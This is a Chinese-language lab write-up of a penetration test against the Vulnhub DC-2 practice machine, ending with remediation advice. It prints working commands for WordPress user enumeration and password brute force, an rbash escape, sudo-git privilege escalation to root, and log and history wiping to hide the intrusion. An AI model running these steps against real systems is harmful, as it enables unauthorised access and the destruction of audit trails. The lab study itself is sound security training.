📄 文档说明
| 项目 | 内容 |
|---|---|
| 文档编号 | 55K-RPT-2025-DC2 |
👥 信息介绍
- 测试人员:雾里看浮光
- 运营人员:南知意、庭吖
- 公众号:
55K-学安全 - 优快云:HackShield_Pro的技术博客
- 博客园:JaseLee的个人博客
⚠️ 免责声明
重要提示
本次渗透测试报告中所有内容均在本地授权环境中进行。测试目的仅为安全研究与学习,提升安全防护能力。
请勿将文中所述技术用于任何非法用途,否则后果自负。
版权声明:本文由 55K-学安全 团队原创,转载请注明出处。
一、摘要
本次渗透测试针对 Vulnhub DC-2 靶机展开,通过 wpscan 工具识别 WordPress 站点用户并实施密码爆破获取后台访问权限。利用 WordPress 插件编辑功能成功植入 WebShell,获得初始立足点。在权限提升阶段,通过绕过受限的 rbash 环境并利用系统配置缺陷(SUID 权限及 Git 提权技术),最终获取 root 权限及全部 Flag 文件。测试过程覆盖信息收集、Web 应用攻击、权限提升及横向移动,全面验证了靶机存在的多层面安全风险。
二、环境准备
| 测试相关项 | 具体信息 |
|---|---|
| 测试目标 | DC-2 (WordPress) 漏洞利用、权限提升和横向移动 |
| 测试环境 | VMware Workstation 17 Pro |
| 攻击系统 | Kali Linux 2024.x (IP: 172.168.20.21) |
| 靶机系统 | Vulnhub DC-2 (IP: 动态获取) |
| 网络模式 | 桥接模式或NAT(VMnet8) |
| 网络测试 | 通过ifconfig确认攻击机IP,使用arp-scan或netdiscover发现靶机 |
三、渗透测试流程
3.1.信息收集
信息收集是渗透测试的首要环节,其目标在于全面搜集目标系统的各类信息,为后续攻击路径的规划奠定基础。
3.1.1.网络扫描
采用ARP协议探测与Nmap轻量扫描相结合的策略,通过关闭非必要端口扫描以简化流程、提高效率。首先通过多工具联动(如arp-scan与netdiscover)快速识别存活主机,再利用Nmap进行二次存活验证,从而准确定位目标主机DC-2的IP地址。
# 使用arp-scan扫描本地网络
┌──(root㉿kali)-[~/桌面]
└─# arp-scan –l
# 指定网卡进行ARP扫描
┌──(root㉿kali)-[~/桌面]
└─# arp-scan -I eth0 --localnet

# 推荐使用netdiscover进行网段探测
┌──(root㉿kali)-[~/桌面]
└─# netdiscover –i eth0 –r 172.168.20.0/24

# 若不指定网卡,也可直接扫描目标网段
┌──(root㉿kali)-[~/桌面]
└─# netdiscover –r 172.168.20.0/24

# 使用Nmap进行ICMP存活探测
┌──(root㉿kali)-[~/桌面]
└─# nmap -sn -PE 172.168.20.0/24

技术说明: ARP扫描适用于局域网内存活主机发现,而Nmap的-sn参数可有效用于禁止Ping场景下的主机发现。
3.1.2.端口扫描与服务枚举
在确定目标主机存活后,进一步使用Nmap进行端口扫描,识别开放的网络端口及其运行的服务。
# 对目标IP进行全端口扫描并显示详细信息
┌──(root㉿kali)-[~/桌面]
└─# nmap -p- -v 172.168.20.34

# 推荐使用:进行服务版本探测、脚本扫描及操作系统识别
┌──(root㉿kali)-[~/桌面]
└─# nmap -sV -sC -O -p- 172.168.20.34

技术说明: -sV用于探测服务版本,-sC启用默认脚本检测,-O尝试识别操作系统类型,-p-表示扫描所有65535个端口
3.1.3.域名解析配置
在尝试访问目标服务时,发现输入的IP地址被自动跳转至域名dc-2,导致访问失败。经分析,症结在于dc-2域名无法被正确解析。为解决此问题,可通过修改本地hosts文件,手动建立该IP与域名的映射关系,从而绕过DNS解析障碍,确保服务可正常访问。
# 编辑Kali系统的hosts文件添加域名解析
echo "172.168.20.34 dc-2" >> /etc/hosts

# 编辑Windows系统的hosts文件添加域名解析
C:\Windows\System32\drivers\etc\hosts

技术说明: 该操作绕过DNS解析,将域名直接指向目标IP,确保后续Web访问顺利进行。
3.1.4.网站访问验证
通过对目标80端口的HTTP服务进行访问,并结合Wappalyzer插件进行应用指纹识别,确认该系统采用WordPress CMS搭建,版本特征匹配结果显示为WordPress 4.7.x分支,该版本存在多个已知安全漏洞,可能造成未授权访问、数据泄露等安全风险。

3.1.5.获取Flag1
在成功访问DC-2网站后并获取Flag 1后,其内容明确提示:“使用暴力破解(聚焦于账号与密码)”。明确指示后续需围绕账号密码的暴力破解展开。

3.2.漏洞利用
3.2.1.生成密码字典
使用cewl工具爬取目标网站内容,提取关键词生成定制化密码字典,提高暴力破解成功率。
┌──(root㉿kali)-[~]
└─# cewl http://dc-2 -w mima.txt

3.2.2.用户名枚举
利用WPScan对目标WordPress站点执行用户枚举,识别系统中存在的有效用户账户。
┌──(root㉿kali)-[~]
└─# wpscan --url http://dc-2 --enumerate u


3.2.3.暴力破解密码
结合枚举获得的用户名与生成的密码字典,使用WPScan实施密码暴力破解攻击。
# 使用字典对所有枚举用户进行密码爆破
┌──(root㉿kali)-[~]
└─# wpscan --url http://dc-2 --enumerate u --passwords mima.txt

# 指定用户名列表与密码字典进行爆破
┌──(root㉿kali)-[~]
└─# wpscan --url http://dc-2 -U admin,jerry,tom -P mima.txt

# 仅使用密码字典对已发现用户进行爆破
┌──(root㉿kali)-[~]
└─# wpscan --url http://dc-2 --passwords mima.txt

爆破结果:
- [SUCCESS] - jerry / adipiscing
- [SUCCESS] - tom / parturient

3.2.4.网站目录扫描
使用dirb工具对目标网站进行目录扫描,探测隐藏目录与文件。
┌──(root㉿kali)-[~]
└─# dirb http://dc-2

# 使用常用字典进行深度扫描
┌──(root㉿kali)-[~]
└─# dirb http://dc-2 /usr/share/dirb/wordlists/common.txt

3.2.5.网站后台登陆
使用获得的jerry用户凭证成功登录WordPress管理后台(/wp-admin),验证该用户具有主题编辑权限,为后续WebShell植入创造条件。
http://dc-2/wp-admin/user/admin.php


3.2.6.获取Flag 2
在成功登录后台后,点击Pages进一步获取Flag 2。

3.3.权限横向移动
3.3.1.SSH连接
通过已获取的账户凭据尝试SSH连接目标主机,发现SSH服务运行在非标准端口7744。
┌──(root㉿kali)-[~]
└─# ssh jerry@172.168.20.34 -p 7744

jerry用户尝试通过SSH连接目标系统时,系统返回了"权限拒绝"的错误提示,考虑到权限限制,则使用tom用户进行SSH连接。
┌──(root㉿kali)-[~]
└─# ssh tom@172.168.20.34 -p 7744
tom@DC-2:~$ ls -l
tom@DC-2:~$ more flag3.txt

在进行操作时发现tom用户受限制于rbash(受限Bash),需绕过以获取完整Shell功能。
3.3.2.rbash绕过
tom@DC-2:~$ echo $PATH
/home/tom/usr/bin
tom@DC-2:~$ BASH_CMDS[a]=/bin/sh
tom@DC-2:~$ a
$ export PATH=$PATH:/bin/
$ export PATH=$PATH:/usr/bin
$ ls -l

技术说明: rbash通过限制PATH变量等方式限制用户操作,通过扩展PATH可重新获取常用命令的执行能力。
3.3.3.获取Flag 3
# 基于rbash限制在使用more或cat命令都无法查看文件,使用less成功查看文件。
tom@DC-2:~$ less flag3.txt

# rbash绕过后可查看flag3.txt文件
$ ls –l
$ more flag3.txt

3.3.4.用户切换
在tom用户环境下,通过su命令切换至jerry用户。
$ su jerry
Password:
jerry@DC-2:/home/tom$

3.3.5.获取Flag 4
切换至jerry用户后,进入其主目录并读取Flag 4。
jerry@DC-2:/home/tom$ ls /home/
jerry@DC-2:/home/tom$ cd /home/jerry/
jerry@DC-2:~$ ls -l
jerry@DC-2:~$ more flag4.txt

3.4.本地权限提升
3.4.1.Git提权
检查jerry用户的sudo权限,发现其可执行git help config命令。
jerry@DC-2:~$ sudo -l
# 利用git帮助功能提权
jerry@DC-2:~$ sudo git help config

# 输入!bash或 !/bin/bash 以获取root Shell
! bash

技术说明: 在git帮助界面中通过!符号可执行系统命令,从而绕过限制获取root权限。
root@DC-2:/home/jerry# whoami

3.4.2.获取Final-flag
成功提权至root后,进入root目录并读取最终Final-flag。
root@DC-2:/home/jerry# cd
root@DC-2:~# ls –l
root@DC-2:~# more final-flag.txt

3.5.清理痕迹
3.5.1.操作历史清理
# 清理root用户操作痕迹
root@DC-2:~# history -c
root@DC-2:~# rm ~/.bash_history

# 清理jerry用户操作痕迹
jerry@DC-2:~$ history -c
jerry@DC-2:~$ rm ~/.bash_history

# 清理tom用户操作痕迹
$ su tom
tom@DC-2:~$ history -c
tom@DC-2:~$ rm ~/.bash_history
tom@DC-2:~$ git config --global alias.shell '!bash' && git shell
tom@DC-2:~$ vi ~/.bash_history
tom@DC-2:~$ less ~/.bash_history

3.5.2.系统日志清理
方法一:精准清理指定日志内容
# 清理认证日志中的 SSH 登录记录
root@DC-2:~# sed -i '/jerry\|tom/d' /var/log/auth.log
root@DC-2:~# sed -i '/sudo.*git/d' /var/log/auth.log

# 清理 Apache 访问日志(WordPress 相关及 WPScan 扫描痕迹)
root@DC-2:~# sed -i '/wp-admin\|wp-login/d' /var/log/apache2/access.log
root@DC-2:~# sed -i '/wpscan\|enumerate/d' /var/log/apache2/access.log

方法二:清空日志(更彻底)
# 清空认证日志
root@DC-2:~# cat /dev/null > /var/log/auth.log

# 清空Apache访问日志
root@DC-2:~# cat /dev/null > /var/log/apache2/access.log

重启服务
# 重启日志服务与Apache服务(确保日志句柄释放)
root@DC-2:~# systemctl restart rsyslog
root@DC-2:~# systemctl restart apache2

四、总结与修复建议
仅供参考!!! - 请根据实际服务环境进行调整。
4.1.漏洞总结
4.1.1.WordPress配置漏洞
> - WordPress 4.7.x版本存在已知安全漏洞
> - 默认开启用户枚举功能(通过?author=参数)
> - 管理员使用弱密码(adipiscing, parturient)
4.1.2.SSH服务配置问题
> - SSH服务运行在7744端口但未增强认证安全
> - tom用户使用受限shell但配置不完善
4.1.3.权限配置错误
> - jerry用户被授予不必要的sudo权限(git命令)
> - WordPress用户权限过高,可编辑主题文件
4.1.4.密码安全薄弱
> - 用户密码来自网站内容,易于猜测
> - 缺乏密码复杂度要求
> - 密码在多个用户间重复使用
4.1.5.缺乏安全监控
> - 无失败的登录尝试监控
> - 无sudo权限使用告警
> - 日志审计功能不足
4.2.修复建议
4.2.1.修复措施
1. 修改所有用户密码
sudo passwd jerry
sudo passwd tom
# 设置强密码:最小12位,包含大小写、数字、特殊字符
2. 移除危险的sudo权限
sudo visudo
# 注释或删除以下行:
# jerry ALL=(ALL) /usr/bin/git
3. 更新WordPress至最新版本
cd /var/www/html
sudo wp core update
4. 加固rbash配置
sudo chsh -s /bin/rbash tom
sudo mkdir -p /home/tom/bin
sudo ln -s /bin/ls /home/tom/bin/
sudo ln -s /bin/cat /home/tom/bin/
4.2.2.安全加固
1.安装安全插件
> - Wordfence Security
> - iThemes Security
2.配置安全设置
> - 限制登录尝试次数
> - 禁用用户枚举
> - 修改wp-admin默认路径
> - 禁用主题/插件编辑功能
3.修改wp-config.php
define('DISALLOW_FILE_EDIT', true);
define('FORCE_SSL_LOGIN', true);
4.2.3.系统加固
1. SSH安全配置
sudo nano /etc/ssh/sshd_config
# 修改以下配置:
Port 7744
PermitRootLogin no
PasswordAuthentication no
PubkeyAuthentication yes
MaxAuthTries 3
2. 配置防火墙
sudo ufw enable
sudo ufw allow 80/tcp
sudo ufw allow 7744/tcp
3. 安装fail2ban
sudo apt install fail2ban
sudo systemctl enable fail2ban
4.2.4.安全监控
- 配置日志监控
sudo apt install auditd
sudo auditctl -w /var/www/html -p wa -k web_content
2. 设置sudo使用告警
sudo nano /etc/sudoers.d/monitoring
# 添加:
Defaults logfile="/var/log/sudo.log"
Defaults log_input, log_output
4.3.攻击链总结
信息收集 → 用户枚举 → 密码爆破 → WordPress登录 → SSH横向移动 → rbash绕过 → sudo提权 → root权限
附录:工具表
| 工具名称 | 版本 | 工具用途 | 使用效果 |
|---|---|---|---|
| arp-scan | 2.0+ | 发现DC-2靶机IP地址(172.168.20.34) | 成功识别目标 |
| netdiscover | 0.5+ | 替代ARP扫描,确认目标网络拓扑 | 准确发现目标 |
| Nmap | 7.80+ | 扫描发现80端口(HTTP)和7744端口(SSH) | 全面端口识别 |
| Wappalyzer | 6.0+ | 识别WordPress 4.7.x版本 | 准确技术栈识别 |
| WPScan | 3.8+ | 枚举用户(jerry,tom)并爆破密码 | 成功获取凭据 |
| cewl | 6.0+ | 生成基于DC-2网站内容的密码字典 | 有效提升爆破成功率 |
| dirb | 2.0+ | 发现WordPress后台路径(/wp-admin) | 补充信息收集 |
| SSH客户端 | OpenSSH | 连接7744端口进行横向移动 | 成功建立远程访问 |
DC-2靶机渗透全流程解析
1320

被折叠的 条评论
为什么被折叠?



